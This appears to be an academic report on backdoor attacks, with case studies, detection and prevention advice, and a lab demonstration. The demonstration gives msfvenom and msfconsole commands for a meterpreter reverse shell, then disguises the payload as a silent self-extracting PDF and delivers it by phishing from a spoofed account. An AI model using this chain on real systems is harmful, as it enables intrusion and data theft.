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Abstract 

 

Backdoor attacks are a significant threat to computer systems, as they allow attackers to 

gain unauthorized access and potentially compromise the security of the system. This 

report provides a detailed analysis of the history and evolution of backdoor attacks, as 

well as real-life case studies of data breaches caused by such attacks. The report also 

includes a demonstration of how a backdoor attack can be conducted using various 

methods such as email spoofing, phishing, social engineering, and steganography. In 

addition, the report covers ways to detect and prevent backdoor attacks, as well as 

recommendations for maintaining the security of systems.  
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1. Introduction 

1.1 Subject Matter 

Digital/cybercrime is any illegal activity that involves the use of computers or the internet. 

Cyber criminals use social engineering and malware to steal sensitive information, disrupt 

computer systems, or gain unauthorized access to networks. Malware is a type of 

software that is designed to harm or exploit computer systems without the user's 

knowledge or consent. Some common types of malwares include viruses, worms, Trojan 

horses, and ransomware. For example, a hacker may use malware to infect a victim's 

computer and then use it to launch a cyber-attack on a larger scale. This type of 

digital/cybercrime can have serious consequences for both the victim and the perpetrator, 

and it is important for individuals and organizations to take steps to protect themselves 

from malware (Holt, et al., 2022). 

 

(Introduction to Digital/Cyber crime: Appendix 1) 

 

 

Figure 1: Statistics of Digital/Cybercrime (Jay, 2022). 
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1.2 Aims and Objectives 

1.2.1 Aims 

The purpose of this report is to demonstrate the process of creating a reverse TCP 

backdoor through Metasploit Framework to establish connection with a victim’s computer 

and use it to gain access to their system. This report is developed in order to show how 

a computer can be compromised using backdoor and provide ways to detect suspicious 

activity in the system, remove the malicious files and prevent such attacks from taking 

place. 

 

1.2.2 Objectives 

The objectives of the report are: 

• To gain a thorough understanding of the digital/cybercrime domain. 

• To research the theoretical and technical aspects of backdoor attacks. 

• To understand the evolution and growth of digital/cybercrime. 

• To find out the mitigations and preventions for backdoor attacks. 

• To perform a reverse TCP backdoor attack using Metasploit Framework. 
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2. Background 

2.1 Brief History and Evolution 

Backdoors have been used for both legitimate and nefarious purposes throughout the 

history of computing. In 1993, the NSA developed an encryption chip with a built-in 

backdoor. In 2005, Sony BMG shipped millions of CDs with a harmful copy protection 

rootkit. In 2014, backdoors were found on Netgear and Linksys routers and on Samsung 

mobile devices. In 2015, the FBI and US Department of Justice requested that Apple 

include backdoors in its products, but Apple refused and instead enhanced the security 

of its iOS devices. In 2017, malicious backdoors were found in WordPress and other 

content management systems and in the NotPetya ransomware. In 2018, state-

sponsored Chinese spies were reported to have implanted hardware backdoors on server 

components destined for American tech companies and government organizations 

(Malwarebytes, 2022). 

 

(Detailed History and Evolution: Appendix 2) 

 

Figure 2: Working of Backdoor Attack (Kasza & Yates, 2017). 
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2.2 Literature Review 

2.2.1 Case Study 1: Python backdoor in VMware ESXi servers 

A previously undisclosed Python backdoor targeting VMware ESXi servers was 

discovered by Juniper Networks researchers. The server may have been compromised 

using the vulnerabilities CVE-2019-5544 and CVE-2020-3992 in ESXi's OpenSLP 

service. The malware added seven lines to "/etc/rc.local.d/local.sh," which launched a 

Python script saved as "/store/packages/vmtools.py." This script launched a web server 

that accepted password-protected POST requests from the threat actors, which could 

carry a base-64 encoded command payload or launch a reverse shell on the host. The 

threat actors also changed the ESXi reverse HTTP proxy configuration to allow remote 

access to communicate with the planted web server. (Toulas, 2022). 

 

(Detailed Case Study: Appendix 3) 

 

2.2.2 Case Study 2: PuTTY SSH client backdoor in media company 

In this case, cybercriminals used a trojanized version of the PuTTY SSH client to drop 

malware on their targets' systems. The attack began with a job offer sent via email and 

was later moved to WhatsApp, where the ISO file containing the tampered PuTTY client 

was shared. When the victim used the malicious version of PuTTY to connect to the host, 

it deployed a shellcode payload in the form of a DLL, which was then used to drop the 

AIRDRY.V2 backdoor malware. This malware was able to communicate with its C2 server 

through various methods and had several capabilities, including the ability to execute 

plugins in memory. To protect against this type of attack, it is important to verify the 

legitimacy of any SSH client being used and to be cautious when downloading files or 

opening them from unknown sources (Toulas, 2022). 

 

(Detailed Case Study: Appendix 4) 
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2.2.3 Analysis of the Cases 

In first case, the VMware ESXi server backdoor allows for remote command execution on 

compromised systems, which can result in significant damage if the attackers are able to 

gain access to sensitive data or systems. It is also difficult to determine the initial point of 

compromise, as the log retention was limited. 

 

In second case, the trojanized PuTTY client was able to drop and execute malware on 

the target's system, allowing for the deployment of the AIRDRY.V2 backdoor. This 

malware had various capabilities, including the ability to communicate with its command-

and-control server, upload system information, and execute plugins in memory. This type 

of attack can lead to unauthorized access and control of the victim's system, as well as 

the potential theft of sensitive data. 

 

In both cases, the use of a backdoor allowed the threat actors to gain unauthorized access 

to the system and potentially compromise it in various ways. It is important for 

organizations to be aware of these types of threats and take steps to protect their systems 

and networks. This can include implementing strong security measures, such as firewalls 

and intrusion detection systems, and staying up to date with patches and updates to 

prevent vulnerabilities from being exploited. It is also important to be cautious when 

downloading files or opening them from unknown sources, and to verify the legitimacy of 

any software being used, to help prevent successful backdoor attacks. 
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2.3 Attack Demonstration 

2.3.1 Creating the backdoor file with Metasploit 

The backdoor was created in Desktop of attacker machine using msfvenom. 

 

Figure 3: Creating the backdoor using Metasploit 
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2.3.2 Sending backdoor through email to the Victim 

A fake email address was created which was used to send an email containing the 

download link for the backdoor to the victim.  

 

Figure 4: Sending backdoor via email 
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2.3.3 Backdoor in the Victim System 

The victim read the email and clicked on the link to download the file. 

 

Figure 5: Backdoor downloaded in the victim device 

 

The victim opened the file to check its content. 

 

Figure 6: Malicious file opened in the victim system 
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2.3.4 Gaining Access to the Victim Device 

The reverse TCP handler was initialized in the attacker machine. It waits and checks for 

the backdoor file to be executed on the victim machine. 

 

Figure 7: Initiating the reverse TCP handler on the attacker machine 
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The connection was established after the file was opened in the victim device. 

 

Figure 8: Connection established between victim and attacker 
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2.3.5 Exfiltrating data from the victim system 

The sensitive information in victim machine was looked through and downloaded in the 

attacker machine. 

 

Figure 9:  Downloading filles from the victim machine 
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The exfiltrated data was inspected in the attacker machine. 

 

Figure 10: Extracted files from the victim machine 

 

(Detailed Attack Demonstration: Appendix 5)  
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2.4 Detection Techniques 

The above performed backdoor attack can be detected through the following methods: 

 

2.4.1 Inspecting the downloaded file 

The extension of the downloaded file was “.exe” which means that it is an executable file 

which is unusual for an email attachment. 

 

Figure 11: File extension of downloaded attachment 
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2.4.2 Scanning the file for virus 

Most of the antiviruses flagged the file as malicious which means that it is not safe to 

open. 

 

Figure 12: Scanning the file for virus 
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2.4.3 Investigation using Task Manager 

An unusual application was running while inspecting the task manager. 

 

Figure 13: Unusual application running 
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2.4.4 Investigation using Event Viewer 

The event viewer was opened and suspicious activity from the backdoor was found. 

 

Figure 14: Suspicious activity in the Event Viewer 
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2.5 Prevention Techniques 

Some of the ways which can be used for preventing such kinds of backdoor attacks are 

explained below: 

 

• Keeping the software and operating system kept up to date: Keeping the 

software and operating system up to date with the latest security patches can help 

fix vulnerabilities that could be exploited by attackers. 

 

• Using firewall for traffic filtering: Firewalls can help prevent unauthorized 

access to the system by monitoring and controlling incoming and outgoing network 

traffic based on predetermined security rules. 

 

• Analyzing files in sandbox environment: The suspicious file downloaded should 

be checked in a sandbox environment such as virtual machine so that even if the 

file is malicious, it will not be able to cause any damage to the user. 

 

• Employing security tools: The security tools such as antivirus software, intrusion 

detection systems, and security information and event management (SIEM) 

systems should be used to protect the system from backdoor attacks. 

 

• Monitoring the system: The system should be monitored regularly for suspicious 

activity and anomalies to detect and prevent a security breach. 

 

• Inspecting the email: The email should be closely looked at before downloading 

any attachments as many phishing emails are sent using spoofed email which 

looks similar to a legitimate email. 
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3. Recommendations 

Some of the ways which can be used for reducing the risks of backdoor attacks are 

elaborated below: 

 

• Be careful when giving out personal information: Don't give out personal 

information, such as login credentials or financial information, to unknown sources. 

 

• Use strong encryption techniques: Utilizing encryption can help prevent 

attackers from being able to read or access data if they manage to gain 

unauthorized access to the system. 

 

• Limit the user privileges: Limiting user privileges to only those necessary for their 

job can help prevent attackers from using a compromised user account to gain 

access to sensitive areas of your system. 

 

• Use antivirus software: Antivirus software can help detect and prevent malware 

infections, including those that create backdoors. 

 

• Maintain data backup: Backing up important data can help to reduce the loss 

when compromised from an attack. An efficient backup strategy can help to 

recover the original data when compromised. 

 

• Do not use pirated software: Pirated softwares may be bundled with backdoors 

and various other malwares, which can be used to hack the system. 
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4. Conclusion 

Backdoor attacks pose a significant risk to computer systems as they allow hackers to 

gain unauthorized access and perform various malicious actions. These actions may 

include stealing sensitive data, running malicious scripts, and conducting additional 

attacks. To protect against these types of attacks, individuals and organizations should 

implement strong security measures, regularly update their systems, and be vigilant for 

suspicious activity. If an attack does occur, sensitive information may be stolen and used 

for illegal activities such as financial fraud, identity theft, account takeovers, and 

intellectual property theft, resulting in significant losses for individuals and organizations. 

Therefore, it is important to take steps to protect against these types of attacks which can 

help to significantly reduce the likelihood of falling victim to such attacks. 
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6. Appendix 

6.1 Appendix 1: Introduction to Digital/Cyber crime 

Digital crime, also known as cybercrime, refers to any illegal activity that involves the use 

of computer systems and the internet. These crimes can take many different forms and 

can range from simple online scams to sophisticated attacks on critical infrastructure. 

 

 

Figure 15: Statistics of cyber-crime in 2021 (Richter, 2022). 
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One common type of digital crime is fraud, which involves using deceptive tactics to obtain 

money or sensitive information from victims. Examples of fraud include phishing scams, 

in which attackers send fake emails or text messages pretending to be from a legitimate 

organization in order to trick people into revealing their login credentials or financial 

information. Pyramid schemes and advance fee scams are also forms of fraud that use 

persuasive tactics to lure people into investing money or giving out personal information, 

with the promise of receiving a larger return on their investment. 

 

 

Figure 16: Identity Theft and Fraud Statistics (Insurance Information Institute, 2022). 

 

Identity theft is another common form of digital crime. This involves stealing someone's 

personal information, such as their name, address, and credit card numbers, in order to 

impersonate them and commit fraud. Identity thieves can use this information to open 

credit cards, take out loans, or make purchases in the victim's name, causing significant 

financial damage and ruining the victim's credit. 
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Malware is another common type of digital crime. This is a broad term that refers to any 

software that is designed to harm or exploit a computer system. Examples of malware 

include viruses, which are designed to replicate and spread to other systems, and worms, 

which are designed to exploit vulnerabilities in order to gain unauthorized access to a 

system. Ransomware is a type of malware that encrypts a victim's files and demands a 

ransom from the victim to restore access to the files. 

 

Hacking is another type of digital crime that involves unauthorized access to computer 

systems or networks in order to steal sensitive information, disrupt operations, or commit 

other crimes. Hackers may use a variety of techniques, such as exploiting vulnerabilities 

in software or using social engineering tactics to trick people into revealing their login 

credentials. 

 

Distribution of illegal content is another form of digital crime. This can include the 

distribution of child pornography, pirated software, or other illegal or copyrighted material. 

Sharing such material online is illegal and can result in serious consequences. 

Cyberstalking is another type of digital crime that involves the use of the internet or other 

electronic means to harass, intimidate, or threaten someone. This can include sending 

threatening messages or emails, posting threatening or personal information online, or 

using tracking software to monitor someone's online activities. 

 

Digital crime is a significant and growing problem, as the internet and other digital 

technologies continue to become more prevalent in our lives. These crimes can have 

serious consequences for both individuals and organizations, and it is important for 

people to be aware of the risks and to take steps to protect themselves and their 

information (Joseph, 2017). 
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6.2 Appendix 2: Detailed History and Evolution 

A backdoor is a method of bypassing normal authentication procedures in order to gain 

unauthorized access to a system. Backdoor attacks have been around for as long as 

there have been computer systems, and they have evolved significantly over time. In the 

early days of computing, backdoors were often implemented as a means of allowing 

developers to access systems for debugging and maintenance purposes. These 

backdoors were often undocumented and were not intended to be used by anyone other 

than the developers who implemented them. 

 

 

Figure 17: Backdoor attack workflow (Rawal, 2022). 
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As computer systems became more sophisticated and the internet grew in popularity, 

backdoors began to be used more frequently as a means of accessing systems for 

malicious purposes. Hackers would search for and exploit these backdoors in order to 

gain unauthorized access to sensitive information or to launch attacks on other systems. 

In response to the increasing threat of backdoor attacks, security measures such as 

firewalls and authentication protocols were developed to protect against unauthorized 

access. However, as these measures have become more effective, hackers have had to 

find new and more sophisticated ways of accessing systems. 

 

One common technique used by hackers is to install a malicious program on a system 

that creates a backdoor. This can be done through a variety of means, including phishing 

attacks, malware infections, and unpatched vulnerabilities. Once the backdoor is in place, 

the hacker can use it to gain access to the system at any time and can use it to perform 

a variety of malicious actions. Another technique that has become increasingly common 

is the use of "zero-day" vulnerabilities. These are vulnerabilities in software or hardware 

that are unknown to the manufacturer and have not yet been patched. Hackers can exploit 

these vulnerabilities to gain access to systems and install backdoors, allowing them to 

gain unauthorized access even if the system is fully patched and up to date. 

 

Overall, the evolution of backdoor attacks has been driven by the increasing complexity 

of computer systems and the constant arms race between hackers and security 

professionals. As new technologies and security measures are developed, hackers will 

continue to find new ways to bypass them and gain unauthorized access to systems 

(Erickson, 2016). 
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6.3 Appendix 3: Case Study 1: Python backdoor in VMware ESXi 

servers 

A previously undisclosed Python-based backdoor targeting VMware ESXi servers was 

recently discovered by Juniper Networks researchers. This backdoor enables hackers to 

execute commands remotely on compromised systems. VMware ESXi is a virtualization 

platform that is commonly used in the enterprise to host multiple servers on a single 

device, allowing for more effective use of CPU and memory resources. 

 

The researchers found the backdoor on a VMware ESXi server, but were unable to 

determine how the server was initially compromised due to limited log retention. They 

suspect that the server may have been compromised through the use of the CVE-2019-

5544 and CVE-2020-3992 vulnerabilities in ESXi's OpenSLP service. Although the 

malware is technically capable of targeting Linux and Unix systems as well, Juniper's 

analysts found multiple indications that it was specifically designed for attacks against 

ESXi. 

 

 

Figure 18: Python backdoor in VMware ESXi (Toulas, 2022). 
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The backdoor adds seven lines to the "/etc/rc.local.d/local.sh" file, which is one of the few 

ESXi files that survives reboots and is executed at startup. Typically, this file is empty 

except for advisory comments and an exit statement. One of the added lines launches a 

Python script located at "/store/packages/vmtools.py", which is in a directory that stores 

VM disk images, logs, and other files. The name and location of this script indicate that 

the malware operators specifically targeted VMware ESXi servers. 

 

The script launches a web server that accepts password-protected POST requests from 

the remote threat actors. These requests can carry base-64 encoded command payloads 

or launch a reverse shell on the host. The reverse shell allows the compromised server 

to initiate a connection with the threat actor, which can help bypass firewall restrictions or 

work around limited network connectivity. Juniper's analysts observed that the threat 

actors also modified the ESXi reverse HTTP proxy configuration to allow remote access 

to the planted web server. This modification was made to the 

"/etc/vmware/rhttpproxy/endpoints.conf" file, which is also backed up and restored after a 

reboot, allowing for persistent modifications. 
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6.4 Appendix 4: Case Study 2: PuTTY SSH client backdoor in media 

company 

In this case study, threat actors used a trojanized version of the popular PuTTY SSH 

client to drop malware on their targets' systems. The attack began with a job offer sent 

via email, and communication was later moved to WhatsApp where the ISO file containing 

the trojanized PuTTY client was shared. 

 

The ISO file included a text file with IP address and login credentials, as well as the 

tampered version of PuTTY. The malicious version of PuTTY was larger in size than the 

legitimate version due to the inclusion of a malicious payload in its data section. However, 

it was fully functional and looked identical to the legitimate version. 

 

When the victim used the tampered version of PuTTY to connect to the host using the 

provided credentials, it deployed a malicious DAVESHELL shellcode payload in the form 

of a DLL, which was packed with Themida. The malicious PuTTY then used a search 

order hijacking vulnerability to load the DLL and execute it stealthily. 

 

The DLL acted as a dropper for the final payload, the AIRDRY.V2 backdoor malware, 

which was executed directly in memory. This malware was able to communicate with its 

command-and-control server through various methods, including HTTP, file, and SMB 

over a named pipe. It was also able to execute plugins in memory. 
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Figure 19: PuTTY SSH client backdoor (Toulas, 2022). 

The AIRDRY.V2 malware had several capabilities, including the ability to upload basic 

system information, update the beacon interval based on a value provided by the C2 

server, deactivate until a new start date and time, upload and update the current 

configuration, and keep the connection alive. It could also update the beacon interval 

based on a value in the configuration, update the AES key used to encrypt C2 requests 

and configuration data, and download and execute a plugin in memory. 

 

To protect against this type of attack, it is important to verify the legitimacy of any SSH 

client being used and to be cautious when downloading files or opening them from 

unknown sources. To check for trojanized versions of PuTTY, you can look at the 

properties of the executable and ensure that it is digitally signed by 'Simon Tatham.' The 

legitimate KiTTY program should also be checked for malicious detections by uploading 

it to a virus scanning service, such as VirusTotal. 
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6.5 Appendix 5: Attack Demonstration 

Firstly, the IP address of the attacker machine was taken so that the reverse TCP 

connection can be established to the IP address of the attacker machine. 

 

Figure 20: IP address of the attacker machine 
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Then the executable file was created from Metasploit using the command, msfvenom -p 

windows/x64/meterpreter_reverse_tcp lhost=192.168.1.70 lport=4444 -f exe > 

Letter.exe. Here, lhost is the IP of attacker machine and lport is one open port of the 

machine.

 

Figure 21: Creating the backdoor 
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The backdoor file was created in the Desktop of the attacker machine. 

 

Figure 22: Backdoor created in the attacker machine 

 

A fake document was created so that the file that is sent as attachment seems legitimate. 

 

Figure 23: Creating a fake document 
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A pdf icon was downloaded from the internet so that the backdoor file can be made to 

look like a pdf file. 

 

Figure 24: Downloading image for icon from internet 

 

Now the downloaded png file is converted to ico using an online website. 

 

Figure 25: Website to convert image to ico file 
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The png file is uploaded and converter to ico file and downloaded to the machine. 

 

Figure 26: Downloading the converted ico file 

 

Then the backdoor file and pdf document file is selected and added to archive. 

 

Figure 27: Adding backdoor and pdf file to archive 
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A self-extracting rar file was created to combine both files and merge them into a single 

file. The merged file is named as Progress Overview Letter.pdf to make it look like a pdf 

file. 

 

Figure 28: Creating a sfx file 
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In the Advanced tab, SFX options was selected to configure the settings for the file. 

 

Figure 29: Advanced sfx options 
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In the Setup tab, the two files were added so that both files would execute after opening 

the merged rar file. 

 

Figure 30: Program setup for execution 
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In the Modes tab, the option to unpack to a temporary folder was checked and hide all 

option in the silent mode was selected so that the victim does not become aware of the 

additional file being executed. 

 

Figure 31: Hiding the extracted file 
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In the Text and icon tab, the converted ico file was uploaded in the load SFX icon to set 

the icon for the merged file. 

 

Figure 32: Selecting the icon for the merged file 
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The merged file is created and is ready to be sent to the victim. 

 

Figure 33: Creation of malicious carrier file 
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A fake email was created including the company name in order to make the email seem 

legitimate. 

 

Figure 34: Creating a fake email account 
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The merged file was uploaded in a GitHub repository in order to create a direct download 

link for the file. 

 

Figure 35: Uploading the carrier file in a GitHub repository 

 

The link of the uploaded file was copied to send to the victim. 

 

Figure 36: Getting a direct download link for the carrier file 
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The link was pasted in a section of the mail and a phishing mail was created. 

 

Figure 37: Adding the download link of carrier file 

 

The phishing mail was sent to the victim using the spoofed email address. 

 

Figure 38: Sending the phishing mail 
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The victim read the mail and clicked on the link to download the attachment. 

 

Figure 39: Phishing mail received by the victim 

 

The attachment was downloaded in the victim machine. 

 

Figure 40: Carrier file downloaded in the victim machine 
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The reverse TCP handler was initialized in the attacker machine using the command, 

msfconsole -x “handler – P 4444 -H 0.0.0.0 -p windows/meterpreter_reverse_tcp;” 

which waits and checks for the backdoor file to be executed on the victim machine. 

 

Figure 41: Initializing reverse TCP listener on the attacker machine 
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The victim opened the downloaded file in order to view the contents of the file. 

 

Figure 42: Carrier file opened by the victim 

 

The file was opened, and the contents of the pdf file were viewed by the victim.  

 

Figure 43; File viewed by the victim 
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After the file was opened by the victim, the reverse TCP connection was successfully 

established between the attacker and the victim computer. 

 

Figure 44: Reverse TCP connection established between attacker and victim 

 

The session with the victim was opened and the system information was checked. 

 

Figure 45: Getting system information of the victim 
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The files were looked through to find the sensitive information inside the victim computer. 

 

Figure 46: Searching for sensitive files in the victim machine 

 

The sensitive files of the victim were downloaded in the attacker machine. 

 

Figure 47: Exfiltrating files from the victim machine 
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The downloaded files were checked, and various sensitive information was retrieved 

which could be used for various illegal activities like financial fraud, identity theft, account 

takeover, intellectual property theft and many such activities which may cause huge loss 

for the victim. 

 

Figure 48: Sensitive information obtained in the attacker machine 
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